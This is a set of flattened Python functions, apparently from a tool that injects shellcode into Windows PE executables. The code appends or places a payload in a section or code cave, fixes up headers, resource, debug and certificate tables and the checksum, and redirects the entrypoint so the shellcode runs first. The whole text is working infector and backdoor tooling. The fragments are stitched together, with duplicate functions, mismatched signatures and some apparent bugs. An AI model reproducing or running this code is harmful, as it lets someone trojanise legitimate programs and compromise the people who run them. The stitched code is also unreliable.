def __overwrite_entrypoint_rva(self, header_offset, shell_code_rva): # Get current RVA for entrypoint offset_for_address_of_entrypoint_rva_on_the_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA # Overwrite current RVA for entrypoint with the new one. Not sure if i should change BaseOfCode??? MultiByteHandler.set_dword_given_offset(self.binary_data, offset_for_address_of_entrypoint_rva_on_the_header, shell_code_rva)
def compute_checksum(binary_data, header_offset): # Clear checksum image_checksum_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_CHECKSUM # checksum = MultiByteHandler.get_dword_given_offset(self.binary, image_checksum_offset) MultiByteHandler.set_dword_given_offset(binary_data, image_checksum_offset, 0x0) checksum = 0x0 word_index = 0x0 has_odd_byte = True if len( binary_data ) % Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT == 1 else False while word_index < len(binary_data): if word_index == image_checksum_offset: word_index += Win32BinaryOffsetsAndSizes.CHECKSUM_SIZE else: checksum += MultiByteHandler.get_word_given_offset( binary_data, word_index) checksum & GenericConstants.DWORD_MASK # checksum += (checksum >> Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT) word_index += Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT if has_odd_byte: checksum += binary_data[-1] checksum = ( checksum >> Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT * GenericConstants.BITS_PER_BYTE) + (checksum & 0xFFFF) checksum += ( checksum >> Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT * GenericConstants.BITS_PER_BYTE) checksum = (checksum & 0xFFFF) checksum += len(binary_data) return checksum
def __set_rva_delta(self, header_offset): """ :param header_offset: :return: This class returns nothing. It is meant to check if it is possible to write the new header between the last header and the first section. """ #The header is smaller than this but this is adjusted and therefore padded to file alignment. The next section starts right after current_size_of_headers = MultiByteHandler.get_dword_given_offset( self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_HEADERS) new_size_of_headers_unpadded = current_size_of_headers + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER padding_for_new_header = Win32BinaryUtils.compute_padding_size_for_file_alignment( self.binary_data, header_offset, new_size_of_headers_unpadded) self.header_padding = padding_for_new_header new_size_of_headers = new_size_of_headers_unpadded + padding_for_new_header #I have to check if the RAW size of the header crosses the RVA for the text section. For now, i can ignore. However i need to pad the header. rva_for_first_section = MultiByteHandler.get_dword_given_offset( self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER) if new_size_of_headers > rva_for_first_section: print( "Added section crossing RVA for first section. This mode will not work. Leaving..." ) sys.exit(1) ''' #virtual_rva_delta = Win32BinaryUtils.compute_padding_size_for_section_alignment(self.binary_data, header_offset, new_size_of_headers) #self.rva_delta = new_size_of_headers + virtual_rva_delta - rva_for_first_section ''' return
def __adjust_debug(self, header_offset): offset_to_debug_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_DEBUG_RVA debug_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_debug_rva_within_header) if debug_rva == 0x0: return debug_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, debug_rva) current_debug_raw = debug_raw debug_size = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_DEBUG_SIZE) number_of_entries = debug_size / (Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DEBUG_ENTRY*4) for entry_index in range(0, number_of_entries): if self.rva_delta != 0: offset_to_address_of_raw_data_within_debug_directory = debug_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_OF_RAW_DATA_WITHIN_DEBUG_DIRECTORY address_of_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_of_raw_data_within_debug_directory) MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_of_raw_data_within_debug_directory, address_of_raw_data + self.rva_delta) offset_to_pointer_to_raw_data_within_debug_directory = debug_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_POINTER_TO_RAW_DATA_WITHIN_DEBUG_DIRECTORY pointer_to_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_pointer_to_raw_data_within_debug_directory) MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_pointer_to_raw_data_within_debug_directory, pointer_to_raw_data + len(self.shell_code)) current_debug_raw += Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DEBUG_ENTRY*0x4 if self.rva_delta != 0: # Adjusting RVA on Data Directories header. MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_debug_rva_within_header, debug_rva + self.rva_delta)
def get_raw_offset_for_header_of_section_containing_given_rva( binary, header_offset, rva): number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS number_of_sections = MultiByteHandler.get_word_given_offset( binary, number_of_sections_offset) current_header_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS for section_index in range(0, number_of_sections): virtual_section_size_offset = current_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER virtual_section_size = MultiByteHandler.get_dword_given_offset( binary, virtual_section_size_offset) virtual_section_rva_offset = current_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER virtual_section_rva = MultiByteHandler.get_dword_given_offset( binary, virtual_section_rva_offset) virtual_end_of_section_rva = virtual_section_rva + virtual_section_size if (rva >= virtual_section_rva) and (rva < virtual_end_of_section_rva): return (section_index, current_header_offset) current_header_offset += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER return (None, None)
def rva_is_after_entrypoint_and_requires_change(binary, header_offset, rva): #For entrypoint entrypoint_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA entrypoint_rva = MultiByteHandler.get_dword_given_offset( binary, entrypoint_rva_offset_within_header) entrypoint_section_header_index_and_offset = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva( binary, header_offset, entrypoint_rva) offset_of_header_of_section_containing_entrypoint = entrypoint_section_header_index_and_offset[ 1] entrypoint_virtual_section_rva_offset = offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER entrypoint_virtual_section_rva = MultiByteHandler.get_dword_given_offset( binary, entrypoint_virtual_section_rva_offset) #For given RVA offset_of_header_of_section_containing_given_rva = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva( binary, header_offset, rva)[1] #If it is None, it means the RVA is beyond the last section if offset_of_header_of_section_containing_given_rva == None: return True virtual_section_rva_offset_for_section_containing_given_rva = offset_of_header_of_section_containing_given_rva + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER virtual_section_rva_for_section_containing_given_rva = MultiByteHandler.get_dword_given_offset( binary, virtual_section_rva_offset_for_section_containing_given_rva) if virtual_section_rva_for_section_containing_given_rva > entrypoint_virtual_section_rva: return True
def modify_binary(self): header_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET) #We must get the offsets for the location where the shellcode will be inserted before inserting it and before changing the headers. entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA) raw_offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)[1] entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER) entrypoint_raw_section_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER) entrypoint_raw_section_size = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER) rva_for_shell_code = entrypoint_section_rva + entrypoint_raw_section_size self.__file_align_shellcode(header_offset, raw_offset_of_header_of_section_containing_entrypoint, entrypoint_raw_section_size, entrypoint_rva - rva_for_shell_code) self.__set_rva_delta_for_section_alignment(raw_offset_of_header_of_section_containing_entrypoint) self.__adjust_data_directories(header_offset) self.__adjust_section_headers(header_offset) self.__adjust_standard_coff_fields(header_offset) self.__append_data_at_offset(self.shell_code, entrypoint_raw_section_offset + entrypoint_raw_section_size) self.__adjust_windows_specific_headers(header_offset) # Redirect execution to shellcode self.__overwrite_entrypoint_rva(header_offset, rva_for_shell_code + self.rva_delta) self.__update_checksum(header_offset) return self.binary_data
def __adjust_import_address_table(self, header_offset): offset_to_import_address_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_IMPORT_ADDRESS_TABLE_RVA import_address_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_import_address_table_rva_within_header) if import_address_table_rva == 0x0 or self.rva_delta == 0: return # Adjusting RVA on Data Directories header. MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_import_address_table_rva_within_header, import_address_table_rva + self.rva_delta)
def __adjust_certificate_table(self, header_offset): offset_to_certificate_table_rva = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_CERTIFICATE_TABLE_RAW certificate_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_certificate_table_rva) if certificate_table_rva == 0x0: return # Adjusting RVA on Data Directories header. MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_certificate_table_rva, certificate_table_rva + len(self.shell_code))
def has_relocation_table(binary_data): header_offset = MultiByteHandler.get_dword_given_offset( binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET) offset_to_base_relocation_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_RELOCATION_TABLE_RVA base_relocation_table_rva = MultiByteHandler.get_dword_given_offset( binary_data, offset_to_base_relocation_table_rva_within_header) return True if base_relocation_table_rva != 0x0 else False
def __adjust_resource_table_stub(self, header_offset): self.__adjust_resource_table(header_offset, 0) # Adjusting RVA on Data Directories header. offset_to_resource_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_RESOURCE_TABLE_RVA resource_table_rva = MultiByteHandler.get_dword_given_offset( self.binary_data, offset_to_resource_table_rva_within_header) MultiByteHandler.set_dword_given_offset( self.binary_data, offset_to_resource_table_rva_within_header, resource_table_rva + self.rva_delta)
def __adjust_global_ptr(self, header_offset): offset_to_global_ptr_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_GLOBAL_PTR_RVA global_ptr_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_global_ptr_rva_within_header) if global_ptr_rva == 0x0 or not Win32BinaryUtils.rva_is_after_entrypoint_and_requires_change(self.binary_data, header_offset, global_ptr_rva): return else: raise NotImplementedError # Adjusting RVA on Data Directories header. MultiByteHandler.set_dword_given_offset(self.binary, offset_to_global_ptr_rva_within_header, global_ptr_rva + self.rva_delta)
def __adjust_architecture_data(self, header_offset): offset_to_architecture_data_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ARCHITECTURE_DATA_RVA architecture_data_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_architecture_data_rva_within_header) if architecture_data_rva == 0x0 or self.rva_delta == 0: return else: raise NotImplementedError # Adjusting RVA on Data Directories header. MultiByteHandler.set_dword_given_offset(self.binary, offset_to_architecture_data_rva_within_header, architecture_data_rva + self.rva_delta)
def __adjust_exception_table(self, header_offset): offset_to_exception_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_EXCEPTION_TABLE_RVA exception_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_exception_table_rva_within_header) if exception_table_rva == 0x0: return else: raise NotImplementedError # Adjusting RVA on Data Directories header. MultiByteHandler.set_dword_given_offset(self.binary, offset_to_exception_table_rva_within_header, exception_table_rva + self.rva_delta)
def __adjust_bound_import(self, header_offset): offset_to_bound_import_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BOUND_IMPORT_RVA bound_import_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_bound_import_rva_within_header) if bound_import_rva == 0x0 or self.rva_delta == 0: return else: raise NotImplementedError # Adjusting RVA on Data Directories header. MultiByteHandler.set_dword_given_offset(self.binary, offset_to_bound_import_rva_within_header, bound_import_rva + self.rva_delta)
def get_raw_offset_and_size_for_last_section(binary_data, header_offset): raw_offset_for_last_section_header = Win32BinaryUtils.get_raw_offset_for_last_section_header( binary_data, header_offset) raw_offset_for_last_section = MultiByteHandler.get_word_given_offset( binary_data, raw_offset_for_last_section_header + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER) raw_size_for_last_section = MultiByteHandler.get_dword_given_offset( binary_data, raw_offset_for_last_section_header + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER) return (raw_offset_for_last_section, raw_size_for_last_section)
def convert_rva_to_raw(binary, header_offset, rva): section_header_offset = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva( binary, header_offset, rva)[1] virtual_section_rva_offset = section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER virtual_section_rva = MultiByteHandler.get_dword_given_offset( binary, virtual_section_rva_offset) raw_section_offset_offset = section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER raw_section_offset = MultiByteHandler.get_dword_given_offset( binary, raw_section_offset_offset) return rva - virtual_section_rva + raw_section_offset
def __adjust_certificate_table(self, header_offset): certificate_table_raw_offset_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_CERTIFICATE_TABLE_RAW certificate_table_offset = MultiByteHandler.get_dword_given_offset( self.binary_data, certificate_table_raw_offset_offset) if certificate_table_offset == 0x0: return # new RAW = Old raw + new header + len(padded_shall_code) MultiByteHandler.set_dword_given_offset( self.binary_data, certificate_table_raw_offset_offset, certificate_table_offset + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER + self.header_padding + len(self.shell_code))
def compute_padding_size_for_section_alignment(binary_data, header_offset, size_or_rva): section_alignment = MultiByteHandler.get_dword_given_offset( binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_ALIGNMENT) mod_result = size_or_rva % section_alignment return (section_alignment - mod_result) if mod_result != 0x0 else 0x0
def modify_binary(self): header_offset = MultiByteHandler.get_dword_given_offset( self.binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET) shell_code_generator_instance = self.shell_code_generator_class() #Temporary solution. Type returns classobject if str(self.binary_modifier_class).split( '.')[-1] == "Win32SectionInjector": shell_code = shell_code_generator_instance.get_base_shell_code(0x0) print("Running Win32SectionInjector") (rva_for_region, raw_offset_for_region ) = Win32BinaryUtils.get_executable_region_rva_and_raw_offset( self.binary_data, header_offset, len(shell_code)) return self.binary_modifier_class( self.binary_data, shell_code_generator_instance, rva_for_region, raw_offset_for_region).modify_binary() if None in (rva_for_region, raw_offset_for_region): print("Memory search failed.") return None else: print("Running {0}".format( str(self.binary_modifier_class).split('.')[-1])) return self.binary_modifier_class( self.binary_data, shell_code_generator_instance).modify_binary()
def __overwrite_entrypoint_rva(self, header_offset): #Get current RVA for entrypoint offset_for_address_of_entrypoint_rva_on_the_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA #Get header offset for new header raw_offset_for_shell_code_section_header = Win32BinaryUtils.get_raw_offset_for_last_section_header( self.binary_data, header_offset) rva_for_shell_code_section_header = MultiByteHandler.get_dword_given_offset( self.binary_data, raw_offset_for_shell_code_section_header + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER) #Overwrite current RVA for entrypoint with the new one. MultiByteHandler.set_dword_given_offset( self.binary_data, offset_for_address_of_entrypoint_rva_on_the_header, rva_for_shell_code_section_header)
def get_rva_and_virtual_size_for_last_section(binary, header_offset): number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS number_of_sections = MultiByteHandler.get_word_given_offset( binary, number_of_sections_offset) #Jumping to last header beginning_of_section_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS beginning_of_section_header += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER * ( number_of_sections - 1) rva_for_last_section = MultiByteHandler.get_dword_given_offset( binary, beginning_of_section_header + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER) virtual_size_of_last_section = MultiByteHandler.get_dword_given_offset( binary, beginning_of_section_header + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER) return (rva_for_last_section, virtual_size_of_last_section)
def __adjust_section_headers(self, header_offset): number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS number_of_sections = MultiByteHandler.get_word_given_offset( self.binary_data, number_of_sections_offset) # Moving to the next section header current_section_header_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS for section_index in range(0, number_of_sections): if self.rva_delta != 0: virtual_section_rva_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER virtual_section_rva = MultiByteHandler.get_dword_given_offset( self.binary_data, current_section_header_offset + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER) virtual_section_rva = ( virtual_section_rva + self.rva_delta) if virtual_section_rva != 0 else 0 MultiByteHandler.set_dword_given_offset( self.binary_data, virtual_section_rva_offset, virtual_section_rva) raw_section_offset_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER raw_section_offset = MultiByteHandler.get_dword_given_offset( self.binary_data, raw_section_offset_offset) raw_section_offset = ( raw_section_offset + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER + self.header_padding) if raw_section_offset != 0 else 0 MultiByteHandler.set_dword_given_offset(self.binary_data, raw_section_offset_offset, raw_section_offset) current_section_header_offset += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
def __adjust_resource_table(self, header_offset, raw_offset_for_directory_header): resource_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_RESOURCE_TABLE_RVA) original_raw_offset_for_resource_table = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, resource_table_rva) raw_offset_for_current_directory = None # Function being called for the first time if raw_offset_for_directory_header != 0: raw_offset_for_current_directory = raw_offset_for_directory_header else: raw_offset_for_current_directory = original_raw_offset_for_resource_table raw_offset_for_current_directory_entry = raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_FIRST_DIRECTORY_ENTRY_WITHIN_RESOURCE_DIRECTORY_HEADER number_of_named_entries = MultiByteHandler.get_word_given_offset(self.binary_data, raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_NAMED_ENTRIES_WITHIN_RESOURCE_DIRECTORY_HEADER) number_of_id_entries = MultiByteHandler.get_word_given_offset(self.binary_data, raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_ID_ENTRIES_WITHIN_RESOURCE_DIRECTORY_HEADER) for entry_index in range(0, number_of_named_entries + number_of_id_entries): offset_to_directory_or_data_entry = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_for_current_directory_entry + 0x4) # print("Offset to directory or data entry:" + hex(offset_to_directory_or_data_entry)) if offset_to_directory_or_data_entry & 0x80000000 == 0x80000000: # It is a directory so we call this function again self.__adjust_resource_table(header_offset, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry & 0x7FFFFFFF) else: resource_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry) MultiByteHandler.set_dword_given_offset(self.binary_data, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry, resource_rva + self.rva_delta) raw_offset_for_current_directory_entry += 0x8
def get_raw_offset_for_last_section_header(binary_data, header_offset): number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS number_of_sections = MultiByteHandler.get_word_given_offset( binary_data, number_of_sections_offset) # Jumping to last header beginning_of_last_section_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS beginning_of_last_section_header += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER * ( number_of_sections - 1) return beginning_of_last_section_header
def modify_binary(self): header_offset = MultiByteHandler.get_dword_given_offset( self.binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET) # Get current RVA for entrypoint offset_for_address_of_entrypoint_rva = MultiByteHandler.get_dword_given_offset( self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA) #Get formated shellcode self.shell_code = self.shell_code_generator.get_base_shell_code( offset_for_address_of_entrypoint_rva - self.injection_location_rva) # Injecting shellcode self.__inject_shell_code() # Redirect execution to shellcode self.__overwrite_entrypoint_rva(header_offset) self.__update_checksum(header_offset) #Win32BinaryUtils.compute_checksum(self.binary_data, header_offset) return self.binary_data
def get_executable_region_rva_and_raw_offset(binary_data, header_offset, region_length): # We must get the offsets for the location where the shellcode will be inserted before inserting it and before changing the headers. entrypoint_rva = MultiByteHandler.get_dword_given_offset( binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA) raw_offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva( binary_data, header_offset, entrypoint_rva)[1] entrypoint_virtual_section_rva = MultiByteHandler.get_dword_given_offset( binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER) entrypoint_virtual_section_size = MultiByteHandler.get_dword_given_offset( binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes. OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER) rva_for_end_of_endpoint_section = entrypoint_virtual_section_rva + entrypoint_virtual_section_size - 1 raw_end_of_virtual_section = Win32BinaryUtils.convert_rva_to_raw( binary_data, header_offset, rva_for_end_of_endpoint_section) #It appears to be fetching the right bytes but the raw offset is not correct according to pe view. found_non_zero_byte = False for index in range(0, region_length): region_byte = binary_data[raw_end_of_virtual_section] if region_byte != 0x0: found_non_zero_byte = True rva_for_end_of_endpoint_section -= 1 raw_end_of_virtual_section = rva_for_end_of_endpoint_section if found_non_zero_byte: print( "The memory region where the shellcode will be inserted contains non-zero bytes. This may be valid code." ) return (rva_for_end_of_endpoint_section, Win32BinaryUtils.convert_rva_to_raw( binary_data, header_offset, rva_for_end_of_endpoint_section))
def __adjust_windows_specific_headers(self, header_offset, new_section_rva, new_section_virtual_size): # SizeOfImage size_of_image_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_IMAGE potentially_unaligned_size_of_image = new_section_rva + new_section_virtual_size aligned_size_of_image = potentially_unaligned_size_of_image + Win32BinaryUtils.compute_padding_size_for_section_alignment( self.binary_data, header_offset, potentially_unaligned_size_of_image) MultiByteHandler.set_dword_given_offset(self.binary_data, size_of_image_offset, aligned_size_of_image) # SifeOfHeaders size_of_headers_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_HEADERS current_size_of_headers = MultiByteHandler.get_dword_given_offset( self.binary_data, size_of_headers_offset) updated_size_of_headers = current_size_of_headers + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER padding = Win32BinaryUtils.compute_padding_size_for_file_alignment( self.binary_data, header_offset, updated_size_of_headers) MultiByteHandler.set_dword_given_offset( self.binary_data, size_of_headers_offset, updated_size_of_headers + padding)
def has_consecutive_zero_dwords(binary, offset, number_of_consecutive_dwords): dword_sum = 0x0 for dword_within_directory_table_entry in range( 0, number_of_consecutive_dwords): dword_sum += MultiByteHandler.get_dword_given_offset( binary, offset) offset += 0x4 if dword_sum == 0x0: return True else: return False
def compute_padding_size_for_file_alignment(binary_data, header_offset, size_or_offset): """ :param header_offset: :param size_or_offset: :return: Used to compute the number of bytes that must be added to the shellcode to align the raw section size to filealignment. """ file_alignment = MultiByteHandler.get_dword_given_offset( binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_FILE_ALIGNMENT) mod_result = size_or_offset % file_alignment return (file_alignment - mod_result) if mod_result != 0x0 else 0x0